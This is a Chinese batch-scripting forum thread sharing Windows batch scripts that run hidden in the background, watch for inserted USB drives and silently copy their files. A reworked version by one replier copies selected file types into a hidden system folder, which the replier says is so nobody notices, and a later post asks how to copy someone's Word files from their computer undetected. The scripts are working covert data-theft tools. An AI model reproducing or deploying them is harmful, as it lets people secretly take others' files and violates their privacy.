[文件管理] 批处理自动复制U盘里的文件

fml520

本程序可以一直运行不占用很多的系统资源。当有U盘插入时会自动复制U盘的文件。大约3-5秒查找一次。
这段代码是别人的。
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)

@echo off
if "%1" == "fmr520" goto begin
mshta vbscript:createobject("wscript.shell").run("""%~nx0"" fmr520",0)(window.close)&&exit
:fmr
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "可移动" && (
xcopy "!drive!\*.*" "%temp%\U盘\" /h/i/y/v/s || ping 127.1 /n 1 >nul 
)
)
ping 171.1 /n 3 >nul
goto fmr
复制代码

xieyunwei

我是来添加脚印的

tangqingfu

先收藏再学习，谢谢！

cggm

高手，想不说都不行啊

tools628

请教一下，如果我只是想复制U盘指定目录下的指定类型文件的话，代码应该如何改写？谢谢。

crartor

呵呵，在15楼中我已说明了啊：为了防别人看见，我将文件保存到一个特殊文件夹中了“ USB. ”
如果不方便，可将代码中从标签 到结尾的所有 USB... 和 USB~1 都改成 USB 就行了！

shy0000

有两个USB目录，显示字节为0

crartor

实在不好意思，存在一些小错误，已经在 15 楼中更正了。

这个只要双击就会自动在后台监视移动磁盘，一旦发现就会…… ，呵呵，文件保存在 本批处理所在文件夹的 } \ USB..\ 中

justin10

这个是不是还要自己运行一下？不能自动检测吗？

crartor

这个是我根据版主的代码改写的，可以复制指定的文件类型，多线程复制 （有两个以上U盘的情况下比原代码复制较快。），变量 t 指定要复制的文件类型。变量 p 指定路径，为了不被别人发现，我将文件复制到一个特殊文件夹中 USB.. 代码如下：

@Echo off
SetLocal EnableDelayedExpansion
If "%1"=="D" goto D
If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
Set p=%~0\..\}
:F
set b=0
For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
:W
Ping 127.1
set a=-2
For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
If %a% leq %b% goto F
Goto W
:D
If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码

[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ]

Batcher

怎样用批处理获取U盘盘符？
http://bbs.bathome.net/thread-2683-1-1.html

Batcher

for语句中的管道符为何要用尖号^进行转义？
http://bbs.bathome.net/viewthread.php?tid=1290&page=2#pid6306

kingerpk

fsutil fsinfo drives^|find /v ""    是什么意思为什么要在|前面加^
我在cmd中试了一下说“drives|find”是无效参数
请大家帮忙解答！
谢谢！
大家
！

心愿怕人

呵呵“学习了！再接再厉！可以考备目录文件吗

kevinlovedream

请教阁下一个问题：      假如别人的电脑上有我想要的文件（如Word文件），而我不知道文件的名字和存放位置。使用批处理，怎样才能使当我的优盘插入他的电脑时，能神不知鬼不觉地把他电脑上所有的Word文件（其中肯定由我所要的）复制到我优盘的指定文件夹里？
       请赐教！